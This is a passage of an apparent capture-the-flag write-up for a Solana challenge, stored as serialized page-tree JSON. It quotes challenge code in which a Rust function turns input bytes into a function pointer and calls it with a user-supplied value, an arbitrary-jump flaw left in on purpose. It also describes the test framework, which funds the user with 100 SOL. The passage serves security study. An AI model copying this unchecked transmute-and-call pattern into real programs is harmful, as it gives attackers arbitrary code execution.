accounts",{"type":21,"tag":85,"props":41545,"children":41546},{"style":169},[41547],{"type":26,"value":172},{"type":21,"tag":85,"props":41549,"children":41550},{"style":1021},[41551],{"type":26,"value":4495},{"type":21,"tag":85,"props":41553,"children":41554},{"style":114},[41555],{"type":26,"value":41556},"[]\n",{"type":21,"tag":85,"props":41558,"children":41559},{"class":87,"line":697},[41560],{"type":21,"tag":85,"props":41561,"children":41562},{"style":114},[41563],{"type":26,"value":39445},{"type":21,"tag":85,"props":41565,"children":41566},{"class":87,"line":706},[41567],{"type":21,"tag":85,"props":41568,"children":41569},{"emptyLinePlaceholder":16},[41570],{"type":26,"value":703},{"type":21,"tag":85,"props":41572,"children":41573},{"class":87,"line":1100},[41574,41579],{"type":21,"tag":85,"props":41575,"children":41576},{"style":1021},[41577],{"type":26,"value":41578},"    invoke_signed_unchecked",{"type":21,"tag":85,"props":41580,"children":41581},{"style":114},[41582],{"type":26,"value":1029},{"type":21,"tag":85,"props":41584,"children":41585},{"class":87,"line":1339},[41586,41590,41595],{"type":21,"tag":85,"props":41587,"children":41588},{"style":169},[41589],{"type":26,"value":4239},{"type":21,"tag":85,"props":41591,"children":41592},{"style":120},[41593],{"type":26,"value":41594},"ix",{"type":21,"tag":85,"props":41596,"children":41597},{"style":114},[41598],{"type":26,"value":182},{"type":21,"tag":85,"props":41600,"children":41601},{"class":87,"line":1348},[41602,41606],{"type":21,"tag":85,"props":41603,"children":41604},{"style":169},[41605],{"type":26,"value":4239},{"type":21,"tag":85,"props":41607,"children":41608},{"style":114},[41609],{"type":26,"value":41610},"[],\n",{"type":21,"tag":85,"props":41612,"children":41613},{"class":87,"line":1386},[41614,41618],{"type":21,"tag":85,"props":41615,"children":41616},{"style":169},[41617],{"type":26,"value":4239},{"type":21,"tag":85,"props":41619,"children":41620},{"style":114},[41621],{"type":26,"value":41610},{"type":21,"tag":85,"props":41623,"children":41624},{"class":87,"line":1394},[41625,41629,41633,41637],{"type":21,"tag":85,"props":41626,"children":41627},{"style":114},[41628],{"type":26,"value":4423},{"type":21,"tag":85,"props":41630,"children":41631},{"style":169},[41632],{"type":26,"value":73},{"type":21,"tag":85,"props":41634,"children":41635},{"style":1021},[41636],{"type":26,"value":4432},{"type":21,"tag":85,"props":41638,"children":41639},{"style":114},[41640],{"type":26,"value":4437},{"type":21,"tag":85,"props":41642,"children":41643},{"class":87,"line":1402},[41644],{"type":21,"tag":85,"props":41645,"children":41646},{"style":114},[41647],{"type":26,"value":2671},{"type":21,"tag":841,"props":41649,"children":41650},{"start":151},[41651],{"type":21,"tag":845,"props":41652,"children":41653},{},[41654,41656,41662],{"type":26,"value":41655},"Finally, if ",{"type":21,"tag":66,"props":41657,"children":41659},{"className":41658},[],[41660],{"type":26,"value":41661},"data[0]",{"type":26,"value":41663}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":21,"tag":75,"props":41665,"children":41667},{"className":77,"code":41666,"language":79,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[41668],{"type":21,"tag":66,"props":41669,"children":41670},{"__ignoreMap":7},[41671,41678,41726,41737,41857,41972,41991,41998,42033,42040,42159,42274,42293,42300],{"type":21,"tag":85,"props":41672,"children":41673},{"class":87,"line":88},[41674],{"type":21,"tag":85,"props":41675,"children":41676},{"style":114},[41677],{"type":26,"value":41028},{"type":21,"tag":85,"props":41679,"children":41680},{"class":87,"line":98},[41681,41685,41689,41694,41698,41702,41706,41710,41714,41718,41722],{"type":21,"tag":85,"props":41682,"children":41683},{"style":102},[41684],{"type":26,"value":14108},{"type":21,"tag":85,"props":41686,"children":41687},{"style":102},[41688],{"type":26,"value":14113},{"type":21,"tag":85,"props":41690,"children":41691},{"style":1021},[41692],{"type":26,"value":41693}," process",{"type":21,"tag":85,"props":41695,"children":41696},{"style":114},[41697],{"type":26,"value":1439},{"type":21,"tag":85,"props":41699,"children":41700},{"style":102},[41701],{"type":26,"value":2039},{"type":21,"tag":85,"props":41703,"children":41704},{"style":120},[41705],{"type":26,"value":15523},{"type":21,"tag":85,"props":41707,"children":41708},{"style":169},[41709],{"type":26,"value":172},{"type":21,"tag":85,"props":41711,"children":41712},{"style":169},[41713],{"type":26,"value":1487},{"type":21,"tag":85,"props":41715,"children":41716},{"style":114},[41717],{"type":26,"value":3016},{"type":21,"tag":85,"props":41719,"children":41720},{"style":108},[41721],{"type":26,"value":4190},{"type":21,"tag":85,"props":41723,"children":41724},{"style":114},[41725],{"type":26,"value":41073},{"type":21,"tag":85,"props":41727,"children":41728},{"class":87,"line":151},[41729,41733],{"type":21,"tag":85,"props":41730,"children":41731},{"style":102},[41732],{"type":26,"value":14251},{"type":21,"tag":85,"props":41734,"children":41735},{"style":114},[41736],{"type":26,"value":148},{"type":21,"tag":85,"props":41738,"children":41739},{"class":87,"line":160},[41740,41744,41748,41752,41756,41760,41764,41768,41772,41776,41780,41784,41788,41792,41796,41800,41804,41808,41813,41817,41821,41825,41829,41833,41837,41841,41845,41849,41853],{"type":21,"tag":85,"props":41741,"children":41742},{"style":102},[41743],{"type":26,"value":1931},{"type":21,"tag":85,"props":41745,"children":41746},{"style":120},[41747],{"type":26,"value":14275},{"type":21,"tag":85,"props":41749,"children":41750},{"style":169},[41751],{"type":26,"value":1941},{"type":21,"tag":85,"props":41753,"children":41754},{"style":114},[41755],{"type":26,"value":41104},{"type":21,"tag":85,"props":41757,"children":41758},{"style":169},[41759],{"type":26,"value":1087},{"type":21,"tag":85,"props":41761,"children":41762},{"style":114},[41763],{"type":26,"value":41113},{"type":21,"tag":85,"props":41765,"children":41766},{"style":169},[41767],{"type":26,"value":1087},{"type":21,"tag":85,"props":41769,"children":41770},{"style":1021},[41771],{"type":26,"value":41122},{"type":21,"tag":85,"props":41773,"children":41774},{"style":169},[41775],{"type":26,"value":1087},{"type":21,"tag":85,"props":41777,"children":41778},{"style":114},[41779],{"type":26,"value":41131},{"type":21,"tag":85,"props":41781,"children":41782},{"style":108},[41783],{"type":26,"value":4190},{"type":21,"tag":85,"props":41785,"children":41786},{"style":114},[41787],{"type":26,"value":17649},{"type":21,"tag":85,"props":41789,"children":41790},{"style":2285},[41791],{"type":26,"value":4843},{"type":21,"tag":85,"props":41793,"children":41794},{"style":114},[41795],{"type":26,"value":23489},{"type":21,"tag":85,"props":41797,"children":41798},{"style":102},[41799],{"type":26,"value":20694},{"type":21,"tag":85,"props":41801,"children":41802},{"style":114},[41803],{"type":26,"value":1439},{"type":21,"tag":85,"props":41805,"children":41806},{"style":108},[41807],{"type":26,"value":2396},{"type":21,"tag":85,"props":41809,"children":41810},{"style":114},[41811],{"type":26,"value":41812},")>(",{"type":21,"tag":85,"props":41814,"children":41815},{"style":120},[41816],{"type":26,"value":4469},{"type":21,"tag":85,"props":41818,"children":41819},{"style":114},[41820],{"type":26,"value":3016},{"type":21,"tag":85,"props":41822,"children":41823},{"style":169},[41824],{"type":26,"value":2998},{"type":21,"tag":85,"props":41826,"children":41827},{"style":2285},[41828],{"type":26,"value":4843},{"type":21,"tag":85,"props":41830,"children":41831},{"style":114},[41832],{"type":26,"value":15830},{"type":21,"tag":85,"props":41834,"children":41835},{"style":169},[41836],{"type":26,"value":73},{"type":21,"tag":85,"props":41838,"children":41839},{"style":1021},[41840],{"type":26,"value":26603},{"type":21,"tag":85,"props":41842,"children":41843},{"style":114},[41844],{"type":26,"value":14297},{"type":21,"tag":85,"props":41846,"children":41847},{"style":169},[41848],{"type":26,"value":73},{"type":21,"tag":85,"props":41850,"children":41851},{"style":1021},[41852],{"type":26,"value":4432},{"type":21,"tag":85,"props":41854,"children":41855},{"style":114},[41856],{"type":26,"value":15844},{"type":21,"tag":85,"props":41858,"children":41859},{"class":87,"line":185},[41860,41864,41868,41872,41876,41880,41884,41888,41892,41896,41900,41904,41908,41912,41916,41920,41924,41928,41932,41936,41940,41944,41948,41952,41956,41960,41964,41968],{"type":21,"tag":85,"props":41861,"children":41862},{"style":102},[41863],{"type":26,"value":1931},{"type":21,"tag":85,"props":41865,"children":41866},{"style":120},[41867],{"type":26,"value":41219},{"type":21,"tag":85,"props":41869,"children":41870},{"style":169},[41871],{"type":26,"value":1941},{"type":21,"tag":85,"props":41873,"children":41874},{"style":114},[41875],{"type":26,"value":41104},{"type":21,"tag":85,"props":41877,"children":41878},{"style":169},[41879],{"type":26,"value":1087},{"type":21,"tag":85,"props":41881,"children":41882},{"style":114},[41883],{"type":26,"value":41113},{"type":21,"tag":85,"props":41885,"children":41886},{"style":169},[41887],{"type":26,"value":1087},{"type":21,"tag":85,"props":41889,"children":41890},{"style":1021},[41891],{"type":26,"value":41122},{"type":21,"tag":85,"props":41893,"children":41894},{"style":169},[41895],{"type":26,"value":1087},{"type":21,"tag":85,"props":41897,"children":41898},{"style":114},[41899],{"type":26,"value":41131},{"type":21,"tag":85,"props":41901,"children":41902},{"style":108},[41903],{"type":26,"value":4190},{"type":21,"tag":85,"props":41905,"children":41906},{"style":114},[41907],{"type":26,"value":17649},{"type":21,"tag":85,"props":41909,"children":41910},{"style":2285},[41911],{"type":26,"value":4843},{"type":21,"tag":85,"props":41913,"children":41914},{"style":114},[41915],{"type":26,"value":23489},{"type":21,"tag":85,"props":41917,"children":41918},{"style":108},[41919],{"type":26,"value":2396},{"type":21,"tag":85,"props":41921,"children":41922},{"style":114},[41923],{"type":26,"value":1960},{"type":21,"tag":85,"props":41925,"children":41926},{"style":120},[41927],{"type":26,"value":4469},{"type":21,"tag":85,"props":41929,"children":41930},{"style":114},[41931],{"type":26,"value":3016},{"type":21,"tag":85,"props":41933,"children":41934},{"style":2285},[41935],{"type":26,"value":4843},{"type":21,"tag":85,"props":41937,"children":41938},{"style":169},[41939],{"type":26,"value":2998},{"type":21,"tag":85,"props":41941,"children":41942},{"style":2285},[41943],{"type":26,"value":41296},{"type":21,"tag":85,"props":41945,"children":41946},{"style":114},[41947],{"type":26,"value":15830},{"type":21,"tag":85,"props":41949,"children":41950},{"style":169},[41951],{"type":26,"value":73},{"type":21,"tag":85,"props":41953,"children":41954},{"style":1021},[41955],{"type":26,"value":26603},{"type":21,"tag":85,"props":41957,"children":41958},{"style":114},[41959],{"type":26,"value":14297},{"type":21,"tag":85,"props":41961,"children":41962},{"style":169},[41963],{"type":26,"value":73},{"type":21,"tag":85,"props":41965,"children":41966},{"style":1021},[41967],{"type":26,"value":4432},{"type":21,"tag":85,"props":41969,"children":41970},{"style":114},[41971],{"type":26,"value":15844},{"type":21,"tag":85,"props":41973,"children":41974},{"class":87,"line":501},[41975,41979,41983,41987],{"type":21,"tag":85,"props":41976,"children":41977},{"style":1021},[41978],{"type":26,"value":41332},{"type":21,"tag":85,"props":41980,"children":41981},{"style":114},[41982],{"type":26,"value":1439},{"type":21,"tag":85,"props":41984,"children":41985},{"style":120},[41986],{"type":26,"value":13049},{"type":21,"tag":85,"props":41988,"children":41989},{"style":114},[41990],{"type":26,"value":777},{"type":21,"tag":85,"props":41992,"children":41993},{"class":87,"line":697},[41994],{"type":21,"tag":85,"props":41995,"children":41996},{"emptyLinePlaceholder":16},[41997],{"type":26,"value":703},{"type":21,"tag":85,"props":41999,"children":42000},{"class":87,"line":706},[42001,42005,42009,42013,42017,42021,42025,42029],{"type":21,"tag":85,"props":42002,"children":42003},{"style":120},[42004],{"type":26,"value":41503},{"type":21,"tag":85,"props":42006,"children":42007},{"style":169},[42008],{"type":26,"value":1941},{"type":21,"tag":85,"props":42010,"children":42011},{"style":169},[42012],{"type":26,"value":1487},{"type":21,"tag":85,"props":42014,"children":42015},{"style":120},[42016],{"type":26,"value":4469},{"type":21,"tag":85,"props":42018,"children":42019},{"style":114},[42020],{"type":26,"value":3016},{"type":21,"tag":85,"props":42022,"children":42023},{"style":2285},[42024],{"type":26,"value":41296},{"type":21,"tag":85,"props":42026,"children":42027},{"style":169},[42028],{"type":26,"value":2998},{"type":21,"tag":85,"props":42030,"children":42031},{"style":114},[42032],{"type":26,"value":32019},{"type":21,"tag":85,"props":42034,"children":42035},{"class":87,"line":1100},[42036],{"type":21,"tag":85,"props":42037,"children":42038},{"emptyLinePlaceholder":16},[42039],{"type":26,"value":703},{"type":21,"tag":85,"props":42041,"children":42042},{"class":87,"line":1339},[42043,42047,42051,42055,42059,42063,42067,42071,42075,42079,42083,42087,42091,42095,42099,42103,42107,42111,42115,42119,42123,42127,42131,42135,42139,42143,42147,42151,42155],{"type":21,"tag":85,"props":42044,"children":42045},{"style":102},[42046],{"type":26,"value":1931},{"type":21,"tag":85,"props":42048,"children":42049},{"style":120},[42050],{"type":26,"value":14275},{"type":21,"tag":85,"props":42052,"children":42053},{"style":169},[42054],{"type":26,"value":1941},{"type":21,"tag":85,"props":42056,"children":42057},{"style":114},[42058],{"type":26,"value":41104},{"type":21,"tag":85,"props":42060,"children":42061},{"style":169},[42062],{"type":26,"value":1087},{"type":21,"tag":85,"props":42064,"children":42065},{"style":114},[42066],{"type":26,"value":41113},{"type":21,"tag":85,"props":42068,"children":42069},{"style":169},[42070],{"type":26,"value":1087},{"type":21,"tag":85,"props":42072,"children":42073},{"style":1021},[42074],{"type":26,"value":41122},{"type":21,"tag":85,"props":42076,"children":42077},{"style":169},[42078],{"type":26,"value":1087},{"type":21,"tag":85,"props":42080,"children":42081},{"style":114},[42082],{"type":26,"value":41131},{"type":21,"tag":85,"props":42084,"children":42085},{"style":108},[42086],{"type":26,"value":4190},{"type":21,"tag":85,"props":42088,"children":42089},{"style":114},[42090],{"type":26,"value":17649},{"type":21,"tag":85,"props":42092,"children":42093},{"style":2285},[42094],{"type":26,"value":4843},{"type":21,"tag":85,"props":42096,"children":42097},{"style":114},[42098],{"type":26,"value":23489},{"type":21,"tag":85,"props":42100,"children":42101},{"style":102},[42102],{"type":26,"value":20694},{"type":21,"tag":85,"props":42104,"children":42105},{"style":114},[42106],{"type":26,"value":1439},{"type":21,"tag":85,"props":42108,"children":42109},{"style":108},[42110],{"type":26,"value":2396},{"type":21,"tag":85,"props":42112,"children":42113},{"style":114},[42114],{"type":26,"value":41812},{"type":21,"tag":85,"props":42116,"children":42117},{"style":120},[42118],{"type":26,"value":4469},{"type":21,"tag":85,"props":42120,"children":42121},{"style":114},[42122],{"type":26,"value":3016},{"type":21,"tag":85,"props":42124,"children":42125},{"style":169},[42126],{"type":26,"value":2998},{"type":21,"tag":85,"props":42128,"children":42129},{"style":2285},[42130],{"type":26,"value":4843},{"type":21,"tag":85,"props":42132,"children":42133},{"style":114},[42134],{"type":26,"value":15830},{"type":21,"tag":85,"props":42136,"children":42137},{"style":169},[42138],{"type":26,"value":73},{"type":21,"tag":85,"props":42140,"children":42141},{"style":1021},[42142],{"type":26,"value":26603},{"type":21,"tag":85,"props":42144,"children":42145},{"style":114},[42146],{"type":26,"value":14297},{"type":21,"tag":85,"props":42148,"children":42149},{"style":169},[42150],{"type":26,"value":73},{"type":21,"tag":85,"props":42152,"children":42153},{"style":1021},[42154],{"type":26,"value":4432},{"type":21,"tag":85,"props":42156,"children":42157},{"style":114},[42158],{"type":26,"value":15844},{"type":21,"tag":85,"props":42160,"children":42161},{"class":87,"line":1348},[42162,42166,42170,42174,42178,42182,42186,42190,42194,42198,42202,42206,42210,42214,42218,42222,42226,42230,42234,42238,42242,42246,42250,42254,42258,42262,42266,42270],{"type":21,"tag":85,"props":42163,"children":42164},{"style":102},[42165],{"type":26,"value":1931},{"type":21,"tag":85,"props":42167,"children":42168},{"style":120},[42169],{"type":26,"value":41219},{"type":21,"tag":85,"props":42171,"children":42172},{"style":169},[42173],{"type":26,"value":1941},{"type":21,"tag":85,"props":42175,"children":42176},{"style":114},[42177],{"type":26,"value":41104},{"type":21,"tag":85,"props":42179,"children":42180},{"style":169},[42181],{"type":26,"value":1087},{"type":21,"tag":85,"props":42183,"children":42184},{"style":114},[42185],{"type":26,"value":41113},{"type":21,"tag":85,"props":42187,"children":42188},{"style":169},[42189],{"type":26,"value":1087},{"type":21,"tag":85,"props":42191,"children":42192},{"style":1021},[42193],{"type":26,"value":41122},{"type":21,"tag":85,"props":42195,"children":42196},{"style":169},[42197],{"type":26,"value":1087},{"type":21,"tag":85,"props":42199,"children":42200},{"style":114},[42201],{"type":26,"value":41131},{"type":21,"tag":85,"props":42203,"children":42204},{"style":108},[42205],{"type":26,"value":4190},{"type":21,"tag":85,"props":42207,"children":42208},{"style":114},[42209],{"type":26,"value":17649},{"type":21,"tag":85,"props":42211,"children":42212},{"style":2285},[42213],{"type":26,"value":4843},{"type":21,"tag":85,"props":42215,"children":42216},{"style":114},[42217],{"type":26,"value":23489},{"type":21,"tag":85,"props":42219,"children":42220},{"style":108},[42221],{"type":26,"value":2396},{"type":21,"tag":85,"props":42223,"children":42224},{"style":114},[42225],{"type":26,"value":1960},{"type":21,"tag":85,"props":42227,"children":42228},{"style":120},[42229],{"type":26,"value":4469},{"type":21,"tag":85,"props":42231,"children":42232},{"style":114},[42233],{"type":26,"value":3016},{"type":21,"tag":85,"props":42235,"children":42236},{"style":2285},[42237],{"type":26,"value":4843},{"type":21,"tag":85,"props":42239,"children":42240},{"style":169},[42241],{"type":26,"value":2998},{"type":21,"tag":85,"props":42243,"children":42244},{"style":2285},[42245],{"type":26,"value":41296},{"type":21,"tag":85,"props":42247,"children":42248},{"style":114},[42249],{"type":26,"value":15830},{"type":21,"tag":85,"props":42251,"children":42252},{"style":169},[42253],{"type":26,"value":73},{"type":21,"tag":85,"props":42255,"children":42256},{"style":1021},[42257],{"type":26,"value":26603},{"type":21,"tag":85,"props":42259,"children":42260},{"style":114},[42261],{"type":26,"value":14297},{"type":21,"tag":85,"props":42263,"children":42264},{"style":169},[42265],{"type":26,"value":73},{"type":21,"tag":85,"props":42267,"children":42268},{"style":1021},[42269],{"type":26,"value":4432},{"type":21,"tag":85,"props":42271,"children":42272},{"style":114},[42273],{"type":26,"value":15844},{"type":21,"tag":85,"props":42275,"children":42276},{"class":87,"line":1386},[42277,42281,42285,42289],{"type":21,"tag":85,"props":42278,"children":42279},{"style":1021},[42280],{"type":26,"value":41332},{"type":21,"tag":85,"props":42282,"children":42283},{"style":114},[42284],{"type":26,"value":1439},{"type":21,"tag":85,"props":42286,"children":42287},{"style":120},[42288],{"type":26,"value":13049},{"type":21,"tag":85,"props":42290,"children":42291},{"style":114},[42292],{"type":26,"value":777},{"type":21,"tag":85,"props":42294,"children":42295},{"class":87,"line":1394},[42296],{"type":21,"tag":85,"props":42297,"children":42298},{"style":114},[42299],{"type":26,"value":507},{"type":21,"tag":85,"props":42301,"children":42302},{"class":87,"line":1402},[42303],{"type":21,"tag":85,"props":42304,"children":42305},{"style":114},[42306],{"type":26,"value":2671},{"type":21,"tag":10022,"props":42308,"children":42310},{"id":42309},"test-environment",[42311],{"type":26,"value":42312},"Test Environment",{"type":21,"tag":22,"props":42314,"children":42315},{},[42316],{"type":26,"value":42317},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":21,"tag":22,"props":42319,"children":42320},{},[42321,42323,42329],{"type":26,"value":42322},"When you connect to the server through a tcp connection, ",{"type":21,"tag":66,"props":42324,"children":42326},{"className":42325},[],[42327],{"type":26,"value":42328},"framework/src/main.rs::handle_connection",{"type":26,"value":42330}," gets executed, which does the following:",{"type":21,"tag":841,"props":42332,"children":42333},{},[42334],{"type":21,"tag":845,"props":42335,"children":42336},{},[42337],{"type":26,"value":42338},"Creates a new Solana local node",{"type":21,"tag":75,"props":42340,"children":42342},{"className":77,"code":42341,"language":79,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[42343],{"type":21,"tag":66,"props":42344,"children":42345},{"__ignoreMap":7},[42346,42427,42503],{"type":21,"tag":85,"props":42347,"children":42348},{"class":87,"line":88},[42349,42353,42357,42362,42366,42371,42375,42380,42384,42389,42393,42398,42402,42406,42410,42415,42419,42423],{"type":21,"tag":85,"props":42350,"children":42351},{"style":102},[42352],{"type":26,"value":12204},{"type":21,"tag":85,"props":42354,"children":42355},{"style":102},[42356],{"type":26,"value":3783},{"type":21,"tag":85,"props":42358,"children":42359},{"style":120},[42360],{"type":26,"value":42361}," builder",{"type":21,"tag":85,"props":42363,"children":42364},{"style":169},[42365],{"type":26,"value":1941},{"type":21,"tag":85,"props":42367,"children":42368},{"style":108},[42369],{"type":26,"value":42370}," ChallengeBuilder",{"type":21,"tag":85,"props":42372,"children":42373},{"style":169},[42374],{"type":26,"value":1087},{"type":21,"tag":85,"props":42376,"children":42377},{"style":1021},[42378],{"type":26,"value":42379},"try_from",{"type":21,"tag":85,"props":42381,"children":42382},{"style":114},[42383],{"type":26,"value":1439},{"type":21,"tag":85,"props":42385,"children":42386},{"style":120},[42387],{"type":26,"value":42388},"socket",{"type":21,"tag":85,"props":42390,"children":42391},{"style":169},[42392],{"type":26,"value":73},{"type":21,"tag":85,"props":42394,"children":42395},{"style":1021},[42396],{"type":26,"value":42397},"try_clone",{"type":21,"tag":85,"props":42399,"children":42400},{"style":114},[42401],{"type":26,"value":14297},{"type":21,"tag":85,"props":42403,"children":42404},{"style":169},[42405],{"type":26,"value":73},{"type":21,"tag":85,"props":42407,"children":42408},{"style":1021},[42409],{"type":26,"value":4432},{"type":21,"tag":85,"props":42411,"children":42412},{"style":114},[42413],{"type":26,"value":42414},"())",{"type":21,"tag":85,"props":42416,"children":42417},{"style":169},[42418],{"type":26,"value":73},{"type":21,"tag":85,"props":42420,"children":42421},{"style":1021},[42422],{"type":26,"value":4432},{"type":21,"tag":85,"props":42424,"children":42425},{"style":114},[42426],{"type":26,"value":4437},{"type":21,"tag":85,"props":42428,"children":42429},{"class":87,"line":98},[42430,42435,42439,42444,42448,42453,42457,42462,42466,42471,42476,42480,42485,42489,42494,42498],{"type":21,"tag":85,"props":42431,"children":42432},{"style":1021},[42433],{"type":26,"value":42434},"assert!",{"type":21,"tag":85,"props":42436,"children":42437},{"style":114},[42438],{"type":26,"value":1439},{"type":21,"tag":85,"props":42440,"children":42441},{"style":120},[42442],{"type":26,"value":42443},"builder",{"type":21,"tag":85,"props":42445,"children":42446},{"style":169},[42447],{"type":26,"value":73},{"type":21,"tag":85,"props":42449,"children":42450},{"style":1021},[42451],{"type":26,"value":42452},"add_program",{"type":21,"tag":85,"props":42454,"children":42455},{"style":114},[42456],{"type":26,"value":1439},{"type":21,"tag":85,"props":42458,"children":42459},{"style":5026},[42460],{"type":26,"value":42461},"\"/path/to/chall.so\"",{"type":21,"tag":85,"props":42463,"children":42464},{"style":114},[42465],{"type":26,"value":256},{"type":21,"tag":85,"props":42467,"children":42468},{"style":108},[42469],{"type":26,"value":42470},"Some",{"type":21,"tag":85,"props":42472,"children":42473},{"style":114},[42474],{"type":26,"value":42475},"(chall",{"type":21,"tag":85,"props":42477,"children":42478},{"style":169},[42479],{"type":26,"value":1087},{"type":21,"tag":85,"props":42481,"children":42482},{"style":114},[42483],{"type":26,"value":42484},"ID)) ",{"type":21,"tag":85,"props":42486,"children":42487},{"style":169},[42488],{"type":26,"value":2936},{"type":21,"tag":85,"props":42490,"children":42491},{"style":114},[42492],{"type":26,"value":42493}," chall",{"type":21,"tag":85,"props":42495,"children":42496},{"style":169},[42497],{"type":26,"value":1087},{"type":21,"tag":85,"props":42499,"children":42500},{"style":114},[42501],{"type":26,"value":42502},"ID);\n",{"type":21,"tag":85,"props":42504,"children":42505},{"class":87,"line":151},[42506,42510,42514,42518,42522,42526,42530,42535,42539,42543,42547],{"type":21,"tag":85,"props":42507,"children":42508},{"style":102},[42509],{"type":26,"value":12204},{"type":21,"tag":85,"props":42511,"children":42512},{"style":102},[42513],{"type":26,"value":3783},{"type":21,"tag":85,"props":42515,"children":42516},{"style":120},[42517],{"type":26,"value":42493},{"type":21,"tag":85,"props":42519,"children":42520},{"style":169},[42521],{"type":26,"value":1941},{"type":21,"tag":85,"props":42523,"children":42524},{"style":120},[42525],{"type":26,"value":42361},{"type":21,"tag":85,"props":42527,"children":42528},{"style":169},[42529],{"type":26,"value":73},{"type":21,"tag":85,"props":42531,"children":42532},{"style":1021},[42533],{"type":26,"value":42534},"build",{"type":21,"tag":85,"props":42536,"children":42537},{"style":114},[42538],{"type":26,"value":14297},{"type":21,"tag":85,"props":42540,"children":42541},{"style":169},[42542],{"type":26,"value":73},{"type":21,"tag":85,"props":42544,"children":42545},{"style":2885},[42546],{"type":26,"value":33362},{"type":21,"tag":85,"props":42548,"children":42549},{"style":114},[42550],{"type":26,"value":2535},{"type":21,"tag":841,"props":42552,"children":42553},{"start":98},[42554],{"type":21,"tag":845,"props":42555,"children":42556},{},[42557],{"type":26,"value":42558},"Funds the user account with 100 SOL",{"type":21,"tag":75,"props":42560,"children":42562},{"className":77,"code":42561,"language":79,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[42563],{"type":21,"tag":66,"props":42564,"children":42565},{"__ignoreMap":7},[42566,42599,42631,42638,42680,42712,42719,42727,42791,42810,42817],{"type":21,"tag":85,"props":42567,"children":42568},{"class":87,"line":88},[42569,42573,42578,42582,42587,42591,42595],{"type":21,"tag":85,"props":42570,"children":42571},{"style":102},[42572],{"type":26,"value":12204},{"type":21,"tag":85,"props":42574,"children":42575},{"style":120},[42576],{"type":26,"value":42577}," user_keypair",{"type":21,"tag":85,"props":42579,"children":42580},{"style":169},[42581],{"type":26,"value":1941},{"type":21,"tag":85,"props":42583,"children":42584},{"style":108},[42585],{"type":26,"value":42586}," Keypair",{"type":21,"tag":85,"props":42588,"children":42589},{"style":169},[42590],{"type":26,"value":1087},{"type":21,"tag":85,"props":42592,"children":42593},{"style":1021},[42594],{"type":26,"value":15541},{"type":21,"tag":85,"props":42596,"children":42597},{"style":114},[42598],{"type":26,"value":4437},{"type":21,"tag":85,"props":42600,"children":42601},{"class":87,"line":98},[42602,42606,42611,42615,42619,42623,42627],{"type":21,"tag":85,"props":42603,"children":42604},{"style":102},[42605],{"type":26,"value":12204},{"type":21,"tag":85,"props":42607,"children":42608},{"style":120},[42609],{"type":26,"value":42610}," user",{"type":21,"tag":85,"props":42612,"children":42613},{"style":169},[42614],{"type":26,"value":1941},{"type":21,"tag":85,"props":42616,"children":42617},{"style":120},[42618],{"type":26,"value":42577},{"type":21,"tag":85,"props":42620,"children":42621},{"style":169},[42622],{"type":26,"value":73},{"type":21,"tag":85,"props":42624,"children":42625},{"style":1021},[42626],{"type":26,"value":4311},{"type":21,"tag":85,"props":42628,"children":42629},{"style":114},[42630],{"type":26,"value":4437},{"type":21,"tag":85,"props":42632,"children":42633},{"class":87,"line":151},[42634],{"type":21,"tag":85,"props":42635,"children":42636},{"emptyLinePlaceholder":16},[42637],{"type":26,"value":703},{"type":21,"tag":85,"props":42639,"children":42640},{"class":87,"line":160},[42641,42645,42650,42654,42658,42663,42667,42671,42675],{"type":21,"tag":85,"props":42642,"children":42643},{"style":102},[42644],{"type":26,"value":12204},{"type":21,"tag":85,"props":42646,"children":42647},{"style":120},[42648],{"type":26,"value":42649}," payer_keypair",{"type":21,"tag":85,"props":42651,"children":42652},{"style":169},[42653],{"type":26,"value":1941},{"type":21,"tag":85,"props":42655,"children":42656},{"style":169},[42657],{"type":26,"value":1487},{"type":21,"tag":85,"props":42659,"children":42660},{"style":120},[42661],{"type":26,"value":42662},"chall",{"type":21,"tag":85,"props":42664,"children":42665},{"style":169},[42666],{"type":26,"value":73},{"type":21,"tag":85,"props":42668,"children":42669},{"style":114},[42670],{"type":26,"value":20708},{"type":21,"tag":85,"props":42672,"children":42673},{"style":169},[42674],{"type":26,"value":73},{"type":21,"tag":85,"props":42676,"children":42677},{"style":114},[42678],{"type":26,"value":42679},"payer;\n",{"type":21,"tag":85,"props":42681,"children":42682},{"class":87,"line":185},[42683,42687,42692,42696,42700,42704,42708],{"type":21,"tag":85,"props":42684,"children":42685},{"style":102},[42686],{"type":26,"value":12204},{"type":21,"tag":85,"props":42688,"children":42689},{"style":120},[42690],{"type":26,"value":42691}," 